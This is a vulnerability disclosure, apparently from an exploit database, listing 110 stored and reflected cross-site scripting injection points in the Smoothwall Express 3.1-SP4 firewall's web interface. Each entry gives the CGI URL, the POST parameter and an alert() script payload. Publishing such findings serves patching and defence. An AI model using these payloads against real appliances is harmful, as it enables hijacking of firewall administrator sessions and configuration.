Smoothwall Express 3.1-SP4-polar-x86_64-update9 Cross Site Scripting

`##################################################################################################################################  
# Exploit Title: Smoothwall Express 3.1-SP4-polar-x86_64-update9 |  
Cross-Site Scripting  
# Date: 06.02.2019  
# Exploit Author: Ozer Goker  
# Vendor Homepage: http://www.smoothwall.org  
# Software Link:  
https://sourceforge.net/projects/smoothwall/files/SmoothWall/3.1%20SP4/Express-3.1-SP4-x86_64.iso/download  
# Version: 3.1-SP4-polar-x86_64-update9  
##################################################################################################################################  
  
Introduction  
The Smoothwall Open Source Project was set up in 2000 to develop and  
maintain Smoothwall Express - a Free firewall that includes its own  
security-hardened GNU/Linux operating system and an easy-to-use web  
interface.  
  
  
#################################################################################  
  
  
XSS details: Reflected & Stored  
  
#################################################################################  
  
XSS1 | Stored  
  
URL  
http://192.168.2.200:81/cgi-bin/proxy.cgi?  
  
METHOD  
Post  
  
PARAMETER  
CACHE_SIZE  
  
PAYLOAD  
'><script>alert(1)</script>  
  
#################################################################################  
  
XSS2 | Stored  
  
URL  
http://192.168.2.200:81/cgi-bin/proxy.cgi?  
  
METHOD  
Post  
  
PARAMETER  
MAX_SIZE  
  
PAYLOAD  
'><script>alert(2)</script>  
  
#################################################################################  
  
XSS3 | Stored  
  
URL  
http://192.168.2.200:81/cgi-bin/proxy.cgi?  
  
METHOD  
Post  
  
PARAMETER  
MIN_SIZE  
  
PAYLOAD  
'><script>alert(3)</script>  
  
#################################################################################  
  
XSS4 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/proxy.cgi?  
  
METHOD  
Post  
  
PARAMETER  
MAX_OUTGOING_SIZE  
  
PAYLOAD  
'><script>alert(4)</script>  
  
#################################################################################  
  
XSS5 | Stored  
  
URL  
http://192.168.2.200:81/cgi-bin/proxy.cgi?  
  
METHOD  
Post  
  
PARAMETER  
MAX_INCOMING_SIZE  
  
PAYLOAD  
'><script>alert(5)</script>  
  
#################################################################################  
  
XSS6 | Stored  
  
URL  
http://192.168.2.200:81/cgi-bin/urlfilter.cgi  
  
METHOD  
Post  
  
PARAMETER  
REDIRECT_PAGE  
  
PAYLOAD  
'><script>alert(6)</script>  
  
#################################################################################  
  
XSS7 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/urlfilter.cgi  
  
METHOD  
Post  
  
PARAMETER  
CHILDREN  
  
PAYLOAD  
'><script>alert(7)</script>  
  
#################################################################################  
  
XSS8 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
BOOT_SERVER  
  
PAYLOAD  
'><script>alert(8)</script>  
  
#################################################################################  
  
XSS9 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
BOOT_FILE  
  
PAYLOAD  
'><script>alert(9)</script>  
  
#################################################################################  
  
XSS10 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
BOOT_ROOT  
  
PAYLOAD  
'><script>alert(10)</script>  
  
#################################################################################  
  
XSS11 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
START_ADDR  
  
PAYLOAD  
'><script>alert(11)</script>  
  
#################################################################################  
  
XSS12 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
END_ADDR  
  
PAYLOAD  
'><script>alert(12)</script>  
  
#################################################################################  
  
XSS13 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
DNS1  
  
PAYLOAD  
'><script>alert(13)</script>  
  
#################################################################################  
  
XSS14 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
DNS2  
  
PAYLOAD  
'><script>alert(14)</script>  
  
#################################################################################  
  
XSS15 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
NTP1  
  
PAYLOAD  
'><script>alert(15)</script>  
  
#################################################################################  
  
XSS16 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
NTP2  
  
PAYLOAD  
'><script>alert(16)</script>  
  
#################################################################################  
  
XSS17 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
WINS1  
  
PAYLOAD  
'><script>alert(17)</script>  
  
#################################################################################  
  
XSS18 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
WINS2  
  
PAYLOAD  
'><script>alert(18)</script>  
  
#################################################################################  
  
XSS19 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
DEFAULT_LEASE_TIME  
  
PAYLOAD  
'><script>alert(19)</script>  
  
#################################################################################  
  
XSS20 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
MAX_LEASE_TIME  
  
PAYLOAD  
'><script>alert(20)</script>  
  
#################################################################################  
  
XSS21 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
DOMAIN_NAME  
  
PAYLOAD  
'><script>alert(21)</script>  
  
#################################################################################  
  
XSS22 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
NIS_DOMAIN  
  
PAYLOAD  
'><script>alert(22)</script>  
  
#################################################################################  
  
XSS23 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
NIS1  
  
PAYLOAD  
'><script>alert(23)</script>  
  
#################################################################################  
  
XSS24 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
NIS2  
  
PAYLOAD  
'><script>alert(24)</script>  
  
#################################################################################  
  
XSS25 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
STATIC_HOST  
  
PAYLOAD  
'><script>alert(25)</script>  
  
#################################################################################  
  
XSS26 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
STATIC_DESC  
  
PAYLOAD  
'><script>alert(26)</script>  
  
#################################################################################  
  
XSS27 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
STATIC_MAC  
  
PAYLOAD  
'><script>alert(27)</script>  
  
#################################################################################  
  
XSS28 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dhcp.cgi?  
  
METHOD  
Post  
  
PARAMETER  
STATIC_IP  
  
PAYLOAD  
'><script>alert(28)</script>  
  
#################################################################################  
  
XSS29 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/ddns.cgi?  
  
METHOD  
Post  
  
PARAMETER  
HOSTNAME  
  
PAYLOAD  
'><script>alert(29)</script>  
  
#################################################################################  
  
XSS30 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/ddns.cgi?  
  
METHOD  
Post  
  
PARAMETER  
DOMAIN  
  
PAYLOAD  
'><script>alert(30)</script>  
  
#################################################################################  
  
XSS31 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/ddns.cgi?  
  
METHOD  
Post  
  
PARAMETER  
LOGIN  
  
PAYLOAD  
'"><script>alert(31)</script>  
  
#################################################################################  
  
XSS32 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/ddns.cgi?  
  
METHOD  
Post  
  
PARAMETER  
PASSWORD  
  
PAYLOAD  
'><script>alert(32)</script>  
  
#################################################################################  
  
XSS33 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/ddns.cgi?  
  
METHOD  
Post  
  
PARAMETER  
COMMENT  
  
PAYLOAD  
'><script>alert(33)</script>  
  
#################################################################################  
  
XSS34 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/hosts.cgi?  
  
METHOD  
Post  
  
PARAMETER  
IP  
  
PAYLOAD  
'"><script>alert(34)</script>  
  
#################################################################################  
  
XSS35 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/hosts.cgi?  
  
METHOD  
Post  
  
PARAMETER  
HOSTNAME  
  
PAYLOAD  
'><script>alert(35)</script>  
  
#################################################################################  
  
XSS36 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/hosts.cgi?  
  
METHOD  
Post  
  
PARAMETER  
COMMENT  
  
PAYLOAD  
'><script>alert(36)</script>  
  
#################################################################################  
  
XSS37 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/time.cgi?  
  
METHOD  
Post  
  
PARAMETER  
NTP_SERVER  
  
PAYLOAD  
'><script>alert(37)</script>  
  
#################################################################################  
  
XSS38 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
BATTLEVEL  
  
PAYLOAD  
'><script>alert(38)</script>  
  
#################################################################################  
  
XSS39 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
RTMIN  
  
PAYLOAD  
'><script>alert(39)</script>  
  
#################################################################################  
  
XSS40 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
BATTDELAY  
  
PAYLOAD  
'><script>alert(40)</script>  
  
#################################################################################  
  
XSS41 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
TO  
  
PAYLOAD  
'><script>alert(41)</script>  
  
#################################################################################  
  
XSS42 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
ANNOY  
  
PAYLOAD  
'><script>alert(42)</script>  
  
#################################################################################  
  
XSS43 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
UPSIP  
  
PAYLOAD  
'><script>alert(43)</script>  
  
#################################################################################  
  
XSS44 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
UPSNAME  
  
PAYLOAD  
'><script>alert(44)</script>  
  
#################################################################################  
  
XSS45 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
UPSPORT  
  
PAYLOAD  
'><script>alert(45)</script>  
  
#################################################################################  
  
XSS46 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
POLLTIME  
  
PAYLOAD  
'><script>alert(46)</script>  
  
#################################################################################  
  
XSS47 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
UPSUSER  
  
PAYLOAD  
'><script>alert(47)</script>  
  
#################################################################################  
  
XSS48 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
NISPORT  
  
PAYLOAD  
'><script>alert(48)</script>  
  
#################################################################################  
  
XSS49 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
UPSAUTH  
  
PAYLOAD  
'><script>alert(49)</script>  
  
#################################################################################  
  
XSS50 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
EMAIL  
  
PAYLOAD  
'><script>alert(50)</script>  
  
#################################################################################  
  
XSS51 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
FROM  
  
PAYLOAD  
'><script>alert(51)</script>  
  
#################################################################################  
  
XSS52 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
CC  
  
PAYLOAD  
'><script>alert(52)</script>  
  
#################################################################################  
  
XSS53 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
SMSEMAIL  
  
PAYLOAD  
'><script>alert(53)</script>  
  
#################################################################################  
  
XSS54 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
SMTPSERVER  
  
PAYLOAD  
'><script>alert(54)</script>  
  
#################################################################################  
  
XSS55 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
PORT  
  
PAYLOAD  
'><script>alert(55)</script>  
  
#################################################################################  
  
XSS56 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
USER  
  
PAYLOAD  
'><script>alert(56)</script>  
  
#################################################################################  
  
XSS57 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/apcupsd.cgi?  
  
METHOD  
Post  
  
PARAMETER  
EMAIL_PASSWORD  
  
PAYLOAD  
'"><script>alert(57)</script>  
  
#################################################################################  
  
XSS58 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/portfw.cgi?  
  
METHOD  
Post  
  
PARAMETER  
EXT  
  
PAYLOAD  
'><script>alert(58)</script>  
  
#################################################################################  
  
XSS59 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/portfw.cgi?  
  
METHOD  
Post  
  
PARAMETER  
SRC_PORT_SEL  
  
PAYLOAD  
'><script>alert(59)</script>  
  
#################################################################################  
  
XSS60 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/portfw.cgi?  
  
METHOD  
Post  
  
PARAMETER  
SRC_PORT  
  
PAYLOAD  
'><script>alert(60)</script>  
  
#################################################################################  
  
XSS61 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/portfw.cgi?  
  
METHOD  
Post  
  
PARAMETER  
DEST_IP  
  
PAYLOAD  
'><script>alert(61)</script>  
  
#################################################################################  
  
XSS62 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/portfw.cgi?  
  
METHOD  
Post  
  
PARAMETER  
DEST_PORT_SEL  
  
PAYLOAD  
'><script>alert(62)</script>  
  
#################################################################################  
  
XSS63 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/portfw.cgi?  
  
METHOD  
Post  
  
PARAMETER  
COMMENT  
  
PAYLOAD  
'><script>alert(63)</script>  
  
#################################################################################  
  
XSS64 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/outgoing.cgi?  
  
METHOD  
Post  
  
PARAMETER  
MACHINE  
  
PAYLOAD  
'><script>alert(64)</script>  
  
#################################################################################  
  
XSS65 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/outgoing.cgi?  
  
METHOD  
Post  
  
PARAMETER  
MACHINECOMMENT  
  
PAYLOAD  
'><script>alert(65)</script>  
  
#################################################################################  
  
XSS66 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dmzholes.cgi?  
  
METHOD  
Post  
  
PARAMETER  
SRC_IP  
  
PAYLOAD  
'><script>alert(66)</script>  
  
#################################################################################  
  
XSS67 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dmzholes.cgi?  
  
METHOD  
Post  
  
PARAMETER  
DEST_IP  
  
PAYLOAD  
'><script>alert(67)</script>  
  
#################################################################################  
  
XSS68 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/dmzholes.cgi?  
  
METHOD  
Post  
  
PARAMETER  
COMMENT  
  
PAYLOAD  
'><script>alert(68)</script>  
  
#################################################################################  
  
XSS69 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/xtaccess.cgi?  
  
METHOD  
Post  
  
PARAMETER  
EXT  
  
PAYLOAD  
'><script>alert(69)</script>  
  
#################################################################################  
  
XSS70 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/xtaccess.cgi?  
  
METHOD  
Post  
  
PARAMETER  
DEST_PORT  
  
PAYLOAD  
'><script>alert(70)</script>  
  
#################################################################################  
  
XSS71 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/xtaccess.cgi?  
  
METHOD  
Post  
  
PARAMETER  
COMMENT  
  
PAYLOAD  
'><script>alert(71)</script>  
  
#################################################################################  
  
XSS72 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/ipblock.cgi?  
  
METHOD  
Post  
  
PARAMETER  
SRC_IP  
  
PAYLOAD  
'><script>alert(72)</script>  
  
#################################################################################  
  
XSS73 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/ipblock.cgi?  
  
METHOD  
Post  
  
PARAMETER  
COMMENT  
  
PAYLOAD  
'><script>alert(73)</script>  
  
#################################################################################  
  
XSS74 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/timedaccess.cgi?  
  
METHOD  
Post  
  
PARAMETER  
MACHINES  
  
PAYLOAD  
'><script>alert(74)</script>  
  
#################################################################################  
  
XSS75 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/interfaces.cgi?  
  
METHOD  
Post  
  
PARAMETER  
GREEN_ADDRESS  
  
PAYLOAD  
'><script>alert(75)</script>  
  
#################################################################################  
  
XSS76 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/interfaces.cgi?  
  
METHOD  
Post  
  
PARAMETER  
GREEN_NETMASK  
  
PAYLOAD  
'><script>alert(76)</script>  
  
#################################################################################  
  
XSS77 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/interfaces.cgi?  
  
METHOD  
Post  
  
PARAMETER  
RED_DHCP_HOSTNAME  
  
PAYLOAD  
'><script>alert(77)</script>  
  
#################################################################################  
  
XSS78 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/interfaces.cgi?  
  
METHOD  
Post  
  
PARAMETER  
RED_ADDRESS  
  
PAYLOAD  
'><script>alert(78)</script>  
  
#################################################################################  
  
XSS79 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/interfaces.cgi?  
  
METHOD  
Post  
  
PARAMETER  
DNS1_OVERRIDE  
  
PAYLOAD  
'><script>alert(79)</script>  
  
#################################################################################  
  
XSS80 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/interfaces.cgi?  
  
METHOD  
Post  
  
PARAMETER  
DNS2_OVERRIDE  
  
PAYLOAD  
'><script>alert(80)</script>  
  
#################################################################################  
  
XSS81 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/interfaces.cgi?  
  
METHOD  
Post  
  
PARAMETER  
RED_MAC  
  
PAYLOAD  
'><script>alert(81)</script>  
  
#################################################################################  
  
XSS82 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/interfaces.cgi?  
  
METHOD  
Post  
  
PARAMETER  
RED_NETMASK  
  
PAYLOAD  
'><script>alert(82)</script>  
  
#################################################################################  
  
XSS83 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/interfaces.cgi?  
  
METHOD  
Post  
  
PARAMETER  
DEFAULT_GATEWAY  
  
PAYLOAD  
'><script>alert(83)</script>  
  
#################################################################################  
  
XSS84 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/interfaces.cgi?  
  
METHOD  
Post  
  
PARAMETER  
DNS1  
  
PAYLOAD  
'><script>alert(84)</script>  
  
#################################################################################  
  
XSS85 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/interfaces.cgi?  
  
METHOD  
Post  
  
PARAMETER  
DNS2  
  
PAYLOAD  
'><script>alert(85)</script>  
  
#################################################################################  
  
XSS86 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/vpnconn.cgi?  
  
METHOD  
Post  
  
PARAMETER  
NAME  
  
PAYLOAD  
'><script>alert(86)</script>  
  
#################################################################################  
  
XSS87 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/vpnconn.cgi?  
  
METHOD  
Post  
  
PARAMETER  
LEFT  
  
PAYLOAD  
'><script>alert(87)</script>  
  
#################################################################################  
  
XSS88 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/vpnconn.cgi?  
  
METHOD  
Post  
  
PARAMETER  
LEFT_SUBNET  
  
PAYLOAD  
'><script>alert(88)</script>  
  
#################################################################################  
  
XSS89 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/vpnconn.cgi?  
  
METHOD  
Post  
  
PARAMETER  
RIGHT  
  
PAYLOAD  
'><script>alert(89)</script>  
  
#################################################################################  
  
XSS90 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/vpnconn.cgi?  
  
METHOD  
Post  
  
PARAMETER  
RIGHT_SUBNET  
  
PAYLOAD  
'><script>alert(90)</script>  
  
#################################################################################  
  
XSS91 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/vpnconn.cgi?  
  
METHOD  
Post  
  
PARAMETER  
SECRET1  
  
PAYLOAD  
'><script>alert(91)</script>  
  
#################################################################################  
  
XSS92 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/vpnconn.cgi?  
  
METHOD  
Post  
  
PARAMETER  
SECRET2  
  
PAYLOAD  
'><script>alert(92)</script>  
  
#################################################################################  
  
XSS93 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/vpnconn.cgi?  
  
METHOD  
Post  
  
PARAMETER  
COMMENT  
  
PAYLOAD  
'><script>alert(93)</script>  
  
#################################################################################  
  
XSS94 | Stored  
  
URL  
http://192.168.2.200:81/cgi-bin/vpnconn.cgi?  
  
METHOD  
Post  
  
PARAMETER  
filename  
  
PAYLOAD  
<script>alert(94)</script>  
  
#################################################################################  
  
XSS95 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/logs.cgi/proxylog.dat  
  
METHOD  
Post  
  
PARAMETER  
SOURCE_IP  
  
PAYLOAD  
"><script>alert(95)</script>  
  
#################################################################################  
  
XSS96 | Stored  
  
URL  
http://192.168.2.200:81/cgi-bin/logs.cgi/proxylog.dat  
  
METHOD  
Post  
  
PARAMETER  
FILTER  
  
PAYLOAD  
'><script>alert(96)</script>  
  
#################################################################################  
  
XSS97 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/ipinfo.cgi?  
  
METHOD  
Post  
  
PARAMETER  
IP  
  
PAYLOAD  
'><script>alert(97)</script>  
  
#################################################################################  
  
XSS98 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/iptools.cgi?  
  
METHOD  
Post  
  
PARAMETER  
IP  
  
PAYLOAD  
'><script>alert(98)</script>  
  
#################################################################################  
  
XSS99 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/smoothinfo.cgi?  
  
METHOD  
Post  
  
PARAMETER  
WRAP  
  
PAYLOAD  
'><script>alert(99)</script>  
  
#################################################################################  
  
XSS100 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/smoothinfo.cgi?  
  
METHOD  
Post  
  
PARAMETER  
SECTIONTITLE  
  
PAYLOAD  
'><script>alert(100)</script>  
  
#################################################################################  
  
XSS101 | Stored  
  
URL  
http://192.168.2.200:81/cgi-bin/modem.cgi?  
  
METHOD  
Post  
  
PARAMETER  
INIT  
  
PAYLOAD  
'><script>alert(101)</script>  
  
#################################################################################  
  
XSS102 | Stored  
  
URL  
http://192.168.2.200:81/cgi-bin/modem.cgi?  
  
METHOD  
Post  
  
PARAMETER  
HANGUP  
  
PAYLOAD  
'><script>alert(102)</script>  
  
#################################################################################  
  
XSS103 | Stored  
  
URL  
http://192.168.2.200:81/cgi-bin/modem.cgi?  
  
METHOD  
Post  
  
PARAMETER  
SPEAKER_ON  
  
PAYLOAD  
'><script>alert(103)</script>  
  
#################################################################################  
  
XSS104 | Stored  
  
URL  
http://192.168.2.200:81/cgi-bin/modem.cgi?  
  
METHOD  
Post  
  
PARAMETER  
SPEAKER_OFF  
  
PAYLOAD  
'><script>alert(104)</script>  
  
#################################################################################  
  
XSS105 | Stored  
  
URL  
http://192.168.2.200:81/cgi-bin/modem.cgi?  
  
METHOD  
Post  
  
PARAMETER  
TONE_DIAL  
  
PAYLOAD  
'><script>alert(105)</script>  
  
#################################################################################  
  
XSS106 | Stored  
  
URL  
http://192.168.2.200:81/cgi-bin/modem.cgi?  
  
METHOD  
Post  
  
PARAMETER  
PULSE_DIAL  
  
PAYLOAD  
'><script>alert(106)</script>  
  
#################################################################################  
  
XSS107 | Reflected  
  
URL  
http://192.168.2.200:81/cgi-bin/modem.cgi?  
  
METHOD  
Post  
  
PARAMETER  
TIMEOUT  
  
PAYLOAD  
'><script>alert(107)</script>  
  
#################################################################################  
  
XSS108 | Stored  
  
URL  
http://192.168.2.200:81/cgi-bin/preferences.cgi?  
  
METHOD  
Post  
  
PARAMETER  
HOSTNAME  
  
PAYLOAD  
'><script>alert(108)</script>  
  
#################################################################################  
  
XSS109 | Stored  
  
URL  
http://192.168.2.200:81/cgi-bin/preferences.cgi?  
  
METHOD  
Post  
  
PARAMETER  
KEYMAP  
  
PAYLOAD  
'><script>alert(109)</script>  
  
#################################################################################  
  
XSS110 | Stored  
  
URL  
http://192.168.2.200:81/cgi-bin/preferences.cgi?  
  
METHOD  
Post  
  
PARAMETER  
OPENNESS  
  
PAYLOAD  
'><script>alert(110)</script>  
  
#################################################################################  
`